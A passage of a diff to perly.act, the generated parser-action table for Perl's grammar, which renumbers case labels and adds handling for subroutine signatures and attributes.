 			    SAVEFREESV(PL_compcv); }
 
     break;
 
-  case 84:
-#line 598 "perly.y" /* yacc.c:1646  */
+  case 85:
+#line 578 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = start_subparse(FALSE, CVf_ANON);
 			    SAVEFREESV(PL_compcv); }
 
     break;
 
-  case 85:
-#line 603 "perly.y" /* yacc.c:1646  */
+  case 86:
+#line 583 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = start_subparse(TRUE, 0);
 			    SAVEFREESV(PL_compcv); }
 
     break;
 
-  case 88:
-#line 614 "perly.y" /* yacc.c:1646  */
+  case 89:
+#line 594 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 90:
-#line 620 "perly.y" /* yacc.c:1646  */
+  case 91:
+#line 600 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 91:
-#line 622 "perly.y" /* yacc.c:1646  */
+  case 92:
+#line 602 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 92:
-#line 624 "perly.y" /* yacc.c:1646  */
+  case 93:
+#line 604 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 93:
-#line 629 "perly.y" /* yacc.c:1646  */
+  case 94:
+#line 609 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 94:
-#line 631 "perly.y" /* yacc.c:1646  */
+  case 95:
+#line 611 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 95:
-#line 642 "perly.y" /* yacc.c:1646  */
+  case 96:
+#line 622 "perly.y" /* yacc.c:1646  */
     { parser->in_my = 0; (yyval.opval) = NULL; }
 
     break;
 
-  case 96:
-#line 644 "perly.y" /* yacc.c:1646  */
+  case 97:
+#line 624 "perly.y" /* yacc.c:1646  */
     { parser->in_my = 0; (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 97:
-#line 649 "perly.y" /* yacc.c:1646  */
+  case 98:
+#line 629 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = '@'; }
 
     break;
 
-  case 98:
-#line 651 "perly.y" /* yacc.c:1646  */
+  case 99:
+#line 631 "perly.y" /* yacc.c:1646  */
     { (yyval.ival) = '%'; }
 
     break;
 
-  case 99:
-#line 655 "perly.y" /* yacc.c:1646  */
+  case 100:
+#line 635 "perly.y" /* yacc.c:1646  */
     {
                             I32 sigil   = (ps[-2].val.ival);
                             OP *var     = (ps[-1].val.opval);
@@ -834,26 +811,26 @@
 
     break;
 
-  case 100:
-#line 674 "perly.y" /* yacc.c:1646  */
+  case 101:
+#line 654 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 101:
-#line 676 "perly.y" /* yacc.c:1646  */
+  case 102:
+#line 656 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newOP(OP_NULL, 0); }
 
     break;
 
-  case 102:
-#line 678 "perly.y" /* yacc.c:1646  */
+  case 103:
+#line 658 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 103:
-#line 684 "perly.y" /* yacc.c:1646  */
+  case 104:
+#line 664 "perly.y" /* yacc.c:1646  */
     {
                             OP *var     = (ps[-1].val.opval);
                             OP *defexpr = (ps[0].val.opval);
@@ -917,26 +894,26 @@
 
     break;
 
-  case 104:
-#line 749 "perly.y" /* yacc.c:1646  */
+  case 105:
+#line 729 "perly.y" /* yacc.c:1646  */
     { parser->in_my = KEY_sigvar; (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 105:
-#line 751 "perly.y" /* yacc.c:1646  */
+  case 106:
+#line 731 "perly.y" /* yacc.c:1646  */
     { parser->in_my = KEY_sigvar; (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 106:
-#line 757 "perly.y" /* yacc.c:1646  */
+  case 107:
+#line 737 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[-1].val.opval); }
 
     break;
 
-  case 107:
-#line 759 "perly.y" /* yacc.c:1646  */
+  case 108:
+#line 739 "perly.y" /* yacc.c:1646  */
     {
 			  (yyval.opval) = op_append_list(OP_LINESEQ, (ps[-2].val.opval), (ps[0].val.opval));
 			}
@@ -943,26 +920,38 @@
 
     break;
 
-  case 108:
-#line 763 "perly.y" /* yacc.c:1646  */
+  case 109:
+#line 743 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 109:
-#line 768 "perly.y" /* yacc.c:1646  */
+  case 110:
+#line 748 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 110:
-#line 770 "perly.y" /* yacc.c:1646  */
+  case 111:
+#line 750 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 111:
-#line 774 "perly.y" /* yacc.c:1646  */
+  case 112:
+#line 754 "perly.y" /* yacc.c:1646  */
+    { (yyval.opval) = NULL; }
+
+    break;
+
+  case 113:
+#line 756 "perly.y" /* yacc.c:1646  */
+    { (yyval.opval) = (ps[0].val.opval); }
+
+    break;
+
+  case 114:
+#line 760 "perly.y" /* yacc.c:1646  */
     {
                             ENTER;
                             SAVEIV(parser->sig_elems);
@@ -976,16 +965,16 @@
 
     break;
 
-  case 112:
-#line 786 "perly.y" /* yacc.c:1646  */
+  case 115:
+#line 772 "perly.y" /* yacc.c:1646  */
     {
                             OP            *sigops = (ps[-1].val.opval);
                             UNOP_AUX_item *aux;
                             OP            *check;
 
-                            if (!parser->error_count) {
-                                assert(FEATURE_SIGNATURES_IS_ENABLED);
-                            }
+			    if (!FEATURE_SIGNATURES_IS_ENABLED)
+			        Perl_croak(aTHX_ "Experimental "
+                                    "subroutine signatures not enabled");
 
                             /* We shouldn't get here otherwise */
                             Perl_ck_warner_d(aTHX_
@@ -1009,44 +998,92 @@
                                                 newSTATEOP(0, NULL, NULL));
 
                             parser->in_my = 0;
+                            /* tell the toker that attrributes can follow
+                             * this sig, but only so that the toker
+                             * can skip through any (illegal) trailing
+                             * attribute text then give a useful error
+                             * message about "attributes before sig",
+                             * rather than falling over ina mess at
+                             * unrecognised syntax.
+                             */
                             parser->expect = XATTRBLOCK;
+                            parser->sig_seen = TRUE;
                             LEAVE;
 			}
 
     break;
 
-  case 114:
-#line 826 "perly.y" /* yacc.c:1646  */
+  case 116:
+#line 818 "perly.y" /* yacc.c:1646  */
+    { (yyval.opval) = (ps[0].val.opval); }
+
+    break;
+
+  case 117:
+#line 819 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = NULL; }
 
     break;
 
-  case 115:
-#line 831 "perly.y" /* yacc.c:1646  */
+  case 118:
+#line 825 "perly.y" /* yacc.c:1646  */
+    {
+			  if (parser->copline > (line_t)(ps[-2].val.ival))
+			      parser->copline = (line_t)(ps[-2].val.ival);
+			  (yyval.opval) = block_end((ps[-3].val.ival), (ps[-1].val.opval));
+			}
+
+    break;
+
+  case 119:
+#line 835 "perly.y" /* yacc.c:1646  */
+    { (yyval.opval) = (ps[0].val.opval); }
+
+    break;
+
+  case 120:
+#line 836 "perly.y" /* yacc.c:1646  */
+    { (yyval.opval) = NULL; }
+
+    break;
+
+  case 121:
+#line 840 "perly.y" /* yacc.c:1646  */
+    {
+			  if (parser->copline > (line_t)(ps[-2].val.ival))
+			      parser->copline = (line_t)(ps[-2].val.ival);
+			  (yyval.opval) = block_end((ps[-4].val.ival),
+				op_append_list(OP_LINESEQ, (ps[-3].val.opval), (ps[-1].val.opval)));
+ 			}
+
+    break;
+
+  case 122:
+#line 851 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_AND, 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 116:
-#line 833 "perly.y" /* yacc.c:1646  */
+  case 123:
+#line 853 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP((ps[-1].val.ival), 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 117:
-#line 835 "perly.y" /* yacc.c:1646  */
+  case 124:
+#line 855 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_DOR, 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 119:
-#line 841 "perly.y" /* yacc.c:1646  */
+  case 126:
+#line 861 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[-1].val.opval); }
 
     break;
 
-  case 120:
-#line 843 "perly.y" /* yacc.c:1646  */
+  case 127:
+#line 863 "perly.y" /* yacc.c:1646  */
     {
 			  OP* term = (ps[0].val.opval);
 			  (yyval.opval) = op_append_elem(OP_LIST, (ps[-2].val.opval), term);
@@ -1054,8 +1091,8 @@
 
     break;
 
-  case 122:
-#line 852 "perly.y" /* yacc.c:1646  */
+  case 129:
+#line 872 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list((ps[-2].val.ival), OPf_STACKED,
 				op_prepend_elem(OP_LIST, newGVREF((ps[-2].val.ival),(ps[-1].val.opval)), (ps[0].val.opval)) );
 			}
@@ -1062,8 +1099,8 @@
 
     break;
 
-  case 123:
-#line 856 "perly.y" /* yacc.c:1646  */
+  case 130:
+#line 876 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list((ps[-4].val.ival), OPf_STACKED,
 				op_prepend_elem(OP_LIST, newGVREF((ps[-4].val.ival),(ps[-2].val.opval)), (ps[-1].val.opval)) );
 			}
@@ -1070,8 +1107,8 @@
 
     break;
 
-  case 124:
-#line 860 "perly.y" /* yacc.c:1646  */
+  case 131:
+#line 880 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list(OP_ENTERSUB, OPf_STACKED,
 				op_append_elem(OP_LIST,
 				    op_prepend_elem(OP_LIST, scalar((ps[-5].val.opval)), (ps[-1].val.opval)),
@@ -1080,8 +1117,8 @@
 
     break;
 
-  case 125:
-#line 866 "perly.y" /* yacc.c:1646  */
+  case 132:
+#line 886 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list(OP_ENTERSUB, OPf_STACKED,
 				op_append_elem(OP_LIST, scalar((ps[-2].val.opval)),
 				    newMETHOP(OP_METHOD, 0, (ps[0].val.opval))));
@@ -1089,8 +1126,8 @@
 
     break;
 
-  case 126:
-#line 871 "perly.y" /* yacc.c:1646  */
+  case 133:
+#line 891 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list(OP_ENTERSUB, OPf_STACKED,
 				op_append_elem(OP_LIST,
 				    op_prepend_elem(OP_LIST, (ps[-1].val.opval), (ps[0].val.opval)),
@@ -1099,8 +1136,8 @@
 
     break;
 
-  case 127:
-#line 877 "perly.y" /* yacc.c:1646  */
+  case 134:
+#line 897 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list(OP_ENTERSUB, OPf_STACKED,
 				op_append_elem(OP_LIST,
 				    op_prepend_elem(OP_LIST, (ps[-3].val.opval), (ps[-1].val.opval)),
@@ -1109,27 +1146,27 @@
 
     break;
 
-  case 128:
-#line 883 "perly.y" /* yacc.c:1646  */
+  case 135:
+#line 903 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list((ps[-1].val.ival), 0, (ps[0].val.opval)); }
 
     break;
 
-  case 129:
-#line 885 "perly.y" /* yacc.c:1646  */
+  case 136:
+#line 905 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list((ps[-3].val.ival), 0, (ps[-1].val.opval)); }
 
     break;
 
-  case 130:
-#line 887 "perly.y" /* yacc.c:1646  */
+  case 137:
+#line 907 "perly.y" /* yacc.c:1646  */
     { SvREFCNT_inc_simple_void(PL_compcv);
 			  (yyval.opval) = newANONATTRSUB((ps[-1].val.ival), 0, NULL, (ps[0].val.opval)); }
 
     break;
 
-  case 131:
-#line 890 "perly.y" /* yacc.c:1646  */
+  case 138:
+#line 910 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				 op_append_elem(OP_LIST,
 				   op_prepend_elem(OP_LIST, (ps[-1].val.opval), (ps[0].val.opval)), (ps[-4].val.opval)));
@@ -1137,21 +1174,21 @@
 
     break;
 
-  case 134:
-#line 905 "perly.y" /* yacc.c:1646  */
+  case 141:
+#line 925 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_GELEM, 0, (ps[-4].val.opval), scalar((ps[-2].val.opval))); }
 
     break;
 
-  case 135:
-#line 907 "perly.y" /* yacc.c:1646  */
+  case 142:
+#line 927 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_AELEM, 0, oopsAV((ps[-3].val.opval)), scalar((ps[-1].val.opval)));
 			}
 
     break;
 
-  case 136:
-#line 910 "perly.y" /* yacc.c:1646  */
+  case 143:
+#line 930 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_AELEM, 0,
 					ref(newAVREF((ps[-4].val.opval)),OP_RV2AV),
 					scalar((ps[-1].val.opval)));
@@ -1159,8 +1196,8 @@
 
     break;
 
-  case 137:
-#line 915 "perly.y" /* yacc.c:1646  */
+  case 144:
+#line 935 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_AELEM, 0,
 					ref(newAVREF((ps[-3].val.opval)),OP_RV2AV),
 					scalar((ps[-1].val.opval)));
@@ -1168,15 +1205,15 @@
 
     break;
 
-  case 138:
-#line 920 "perly.y" /* yacc.c:1646  */
+  case 145:
+#line 940 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_HELEM, 0, oopsHV((ps[-4].val.opval)), jmaybe((ps[-2].val.opval)));
 			}
 
     break;
 
-  case 139:
-#line 923 "perly.y" /* yacc.c:1646  */
+  case 146:
+#line 943 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_HELEM, 0,
 					ref(newHVREF((ps[-5].val.opval)),OP_RV2HV),
 					jmaybe((ps[-2].val.opval))); }
@@ -1183,8 +1220,8 @@
 
     break;
 
-  case 140:
-#line 927 "perly.y" /* yacc.c:1646  */
+  case 147:
+#line 947 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP(OP_HELEM, 0,
 					ref(newHVREF((ps[-4].val.opval)),OP_RV2HV),
 					jmaybe((ps[-2].val.opval))); }
@@ -1191,68 +1228,80 @@
 
     break;
 
-  case 141:
-#line 931 "perly.y" /* yacc.c:1646  */
+  case 148:
+#line 951 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
-				   newCVREF(0, scalar((ps[-3].val.opval)))); }
+				   newCVREF(0, scalar((ps[-3].val.opval))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 
     break;
 
-  case 142:
-#line 934 "perly.y" /* yacc.c:1646  */
+  case 149:
+#line 957 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				   op_append_elem(OP_LIST, (ps[-1].val.opval),
-				       newCVREF(0, scalar((ps[-4].val.opval))))); }
+				       newCVREF(0, scalar((ps[-4].val.opval)))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 
     break;
 
-  case 143:
-#line 939 "perly.y" /* yacc.c:1646  */
+  case 150:
+#line 965 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
 				   op_append_elem(OP_LIST, (ps[-1].val.opval),
-					       newCVREF(0, scalar((ps[-3].val.opval))))); }
+					       newCVREF(0, scalar((ps[-3].val.opval)))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 
     break;
 
-  case 144:
-#line 943 "perly.y" /* yacc.c:1646  */
+  case 151:
+#line 972 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_ENTERSUB, OPf_STACKED,
-				   newCVREF(0, scalar((ps[-2].val.opval)))); }
+				   newCVREF(0, scalar((ps[-2].val.opval))));
+			  if (parser->expect == XBLOCK)
+			      parser->expect = XOPERATOR;
+			}
 
     break;
 
-  case 145:
-#line 946 "perly.y" /* yacc.c:1646  */
+  case 152:
+#line 978 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newSLICEOP(0, (ps[-1].val.opval), (ps[-4].val.opval)); }
 
     break;
 
-  case 146:
-#line 948 "perly.y" /* yacc.c:1646  */
+  case 153:
+#line 980 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newSLICEOP(0, (ps[-1].val.opval), (ps[-3].val.opval)); }
 
     break;
 
-  case 147:
-#line 950 "perly.y" /* yacc.c:1646  */
+  case 154:
+#line 982 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newSLICEOP(0, (ps[-1].val.opval), NULL); }
 
     break;
 
-  case 148:
-#line 955 "perly.y" /* yacc.c:1646  */
+  case 155:
+#line 987 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newASSIGNOP(OPf_STACKED, (ps[-2].val.opval), (ps[-1].val.ival), (ps[0].val.opval)); }
 
     break;
 
-  case 149:
-#line 957 "perly.y" /* yacc.c:1646  */
+  case 156:
+#line 989 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 150:
-#line 959 "perly.y" /* yacc.c:1646  */
+  case 157:
+#line 991 "perly.y" /* yacc.c:1646  */
     {   if ((ps[-1].val.ival) != OP_REPEAT)
 				scalar((ps[-2].val.opval));
 			    (yyval.opval) = newBINOP((ps[-1].val.ival), 0, (ps[-2].val.opval), scalar((ps[0].val.opval)));
@@ -1260,112 +1309,112 @@
 
     break;
 
-  case 151:
-#line 964 "perly.y" /* yacc.c:1646  */
+  case 158:
+#line 996 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 152:
-#line 966 "perly.y" /* yacc.c:1646  */
+  case 159:
+#line 998 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 153:
-#line 968 "perly.y" /* yacc.c:1646  */
+  case 160:
+#line 1000 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 154:
-#line 970 "perly.y" /* yacc.c:1646  */
+  case 161:
+#line 1002 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 155:
-#line 972 "perly.y" /* yacc.c:1646  */
+  case 162:
+#line 1004 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 156:
-#line 974 "perly.y" /* yacc.c:1646  */
+  case 163:
+#line 1006 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newBINOP((ps[-1].val.ival), 0, scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 157:
-#line 976 "perly.y" /* yacc.c:1646  */
+  case 164:
+#line 1008 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newRANGE((ps[-1].val.ival), scalar((ps[-2].val.opval)), scalar((ps[0].val.opval))); }
 
     break;
 
-  case 158:
-#line 978 "perly.y" /* yacc.c:1646  */
+  case 165:
+#line 1010 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_AND, 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 159:
-#line 980 "perly.y" /* yacc.c:1646  */
+  case 166:
+#line 1012 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_OR, 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 160:
-#line 982 "perly.y" /* yacc.c:1646  */
+  case 167:
+#line 1014 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newLOGOP(OP_DOR, 0, (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 161:
-#line 984 "perly.y" /* yacc.c:1646  */
+  case 168:
+#line 1016 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = bind_match((ps[-1].val.ival), (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 162:
-#line 989 "perly.y" /* yacc.c:1646  */
+  case 169:
+#line 1021 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_NEGATE, 0, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 163:
-#line 991 "perly.y" /* yacc.c:1646  */
+  case 170:
+#line 1023 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 164:
-#line 994 "perly.y" /* yacc.c:1646  */
+  case 171:
+#line 1026 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_NOT, 0, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 165:
-#line 996 "perly.y" /* yacc.c:1646  */
+  case 172:
+#line 1028 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP((ps[-1].val.ival), 0, scalar((ps[0].val.opval))); }
 
     break;
 
-  case 166:
-#line 998 "perly.y" /* yacc.c:1646  */
+  case 173:
+#line 1030 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_POSTINC, 0,
 					op_lvalue(scalar((ps[-1].val.opval)), OP_POSTINC)); }
 
     break;
 
-  case 167:
-#line 1001 "perly.y" /* yacc.c:1646  */
+  case 174:
+#line 1033 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_POSTDEC, 0,
 					op_lvalue(scalar((ps[-1].val.opval)), OP_POSTDEC));}
 
     break;
 
-  case 168:
-#line 1004 "perly.y" /* yacc.c:1646  */
+  case 175:
+#line 1036 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_convert_list(OP_JOIN, 0,
 				       op_append_elem(
 					OP_LIST,
@@ -1379,163 +1428,156 @@
 
     break;
 
-  case 169:
-#line 1015 "perly.y" /* yacc.c:1646  */
+  case 176:
+#line 1047 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_PREINC, 0,
 					op_lvalue(scalar((ps[0].val.opval)), OP_PREINC)); }
 
     break;
 
-  case 170:
-#line 1018 "perly.y" /* yacc.c:1646  */
+  case 177:
+#line 1050 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_PREDEC, 0,
 					op_lvalue(scalar((ps[0].val.opval)), OP_PREDEC)); }
 
     break;
 
-  case 171:
-#line 1025 "perly.y" /* yacc.c:1646  */
+  case 178:
+#line 1057 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newANONLIST((ps[-1].val.opval)); }
 
     break;
 
-  case 172:
-#line 1027 "perly.y" /* yacc.c:1646  */
+  case 179:
+#line 1059 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newANONLIST(NULL);}
 
     break;
 
-  case 173:
-#line 1029 "perly.y" /* yacc.c:1646  */
+  case 180:
+#line 1061 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newANONHASH((ps[-2].val.opval)); }
 
     break;
 
-  case 174:
-#line 1031 "perly.y" /* yacc.c:1646  */
+  case 181:
+#line 1063 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newANONHASH(NULL); }
 
     break;
 
-  case 175:
-#line 1033 "perly.y" /* yacc.c:1646  */
+  case 182:
+#line 1065 "perly.y" /* yacc.c:1646  */
     { SvREFCNT_inc_simple_void(PL_compcv);
 			  (yyval.opval) = newANONATTRSUB((ps[-3].val.ival), (ps[-2].val.opval), (ps[-1].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 176:
-#line 1036 "perly.y" /* yacc.c:1646  */
-    {
-			  OP *body;
-			  if (parser->copline > (line_t)(ps[-2].val.ival))
-			      parser->copline = (line_t)(ps[-2].val.ival);
-			  body = block_end((ps[-5].val.ival),
-				op_append_list(OP_LINESEQ, (ps[-4].val.opval), (ps[-1].val.opval)));
-			  SvREFCNT_inc_simple_void(PL_compcv);
-			  (yyval.opval) = newANONATTRSUB((ps[-6].val.ival), NULL, (ps[-3].val.opval), body);
-			}
+  case 183:
+#line 1068 "perly.y" /* yacc.c:1646  */
+    { SvREFCNT_inc_simple_void(PL_compcv);
+			  (yyval.opval) = newANONATTRSUB((ps[-2].val.ival), NULL, (ps[-1].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 177:
-#line 1050 "perly.y" /* yacc.c:1646  */
+  case 184:
+#line 1074 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = dofile((ps[0].val.opval), (ps[-1].val.ival));}
 
     break;
 
-  case 178:
-#line 1052 "perly.y" /* yacc.c:1646  */
+  case 185:
+#line 1076 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_NULL, OPf_SPECIAL, op_scope((ps[0].val.opval)));}
 
     break;
 
-  case 183:
-#line 1060 "perly.y" /* yacc.c:1646  */
+  case 190:
+#line 1084 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newCONDOP(0, (ps[-4].val.opval), (ps[-2].val.opval), (ps[0].val.opval)); }
 
     break;
 
-  case 184:
-#line 1062 "perly.y" /* yacc.c:1646  */
+  case 191:
+#line 1086 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_REFGEN, 0, (ps[0].val.opval)); }
 
     break;
 
-  case 185:
-#line 1064 "perly.y" /* yacc.c:1646  */
+  case 192:
+#line 1088 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_REFGEN, 0, localize((ps[0].val.opval),1)); }
 
     break;
 
-  case 186:
-#line 1066 "perly.y" /* yacc.c:1646  */
+  case 193:
+#line 1090 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 187:
-#line 1068 "perly.y" /* yacc.c:1646  */
+  case 194:
+#line 1092 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = localize((ps[0].val.opval),0); }
 
     break;
 
-  case 188:
-#line 1070 "perly.y" /* yacc.c:1646  */
+  case 195:
+#line 1094 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = sawparens((ps[-1].val.opval)); }
 
     break;
 
-  case 189:
-#line 1072 "perly.y" /* yacc.c:1646  */
+  case 196:
+#line 1096 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 190:
-#line 1074 "perly.y" /* yacc.c:1646  */
+  case 197:
+#line 1098 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = sawparens(newNULLLIST()); }
 
     break;
 
-  case 191:
-#line 1076 "perly.y" /* yacc.c:1646  */
+  case 198:
+#line 1100 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 192:
-#line 1078 "perly.y" /* yacc.c:1646  */
+  case 199:
+#line 1102 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 193:
-#line 1080 "perly.y" /* yacc.c:1646  */
+  case 200:
+#line 1104 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 194:
-#line 1082 "perly.y" /* yacc.c:1646  */
+  case 201:
+#line 1106 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 195:
-#line 1084 "perly.y" /* yacc.c:1646  */
+  case 202:
+#line 1108 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = newUNOP(OP_AV2ARYLEN, 0, ref((ps[0].val.opval), OP_AV2ARYLEN));}
 
     break;
 
-  case 196:
-#line 1086 "perly.y" /* yacc.c:1646  */
+  case 203:
+#line 1110 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = (ps[0].val.opval); }
 
     break;
 
-  case 197:
-#line 1088 "perly.y" /* yacc.c:1646  */
+  case 204:
+#line 1112 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_prepend_elem(OP_ASLICE,
 				newOP(OP_PUSHMARK, 0),
 				    newLISTOP(OP_ASLICE, 0,
@@ -1548,8 +1590,8 @@
 
     break;
 
-  case 198:
-#line 1098 "perly.y" /* yacc.c:1646  */
+  case 205:
+#line 1122 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_prepend_elem(OP_KVASLICE,
 				newOP(OP_PUSHMARK, 0),
 				    newLISTOP(OP_KVASLICE, 0,
@@ -1562,8 +1604,8 @@
 
     break;
 
-  case 199:
-#line 1108 "perly.y" /* yacc.c:1646  */
+  case 206:
+#line 1132 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_prepend_elem(OP_HSLICE,
 				newOP(OP_PUSHMARK, 0),
 				    newLISTOP(OP_HSLICE, 0,
@@ -1576,8 +1618,8 @@
 
     break;
 
-  case 200:
-#line 1118 "perly.y" /* yacc.c:1646  */
+  case 207:
+#line 1142 "perly.y" /* yacc.c:1646  */
     { (yyval.opval) = op_prepend_elem(OP_KVHSLICE,
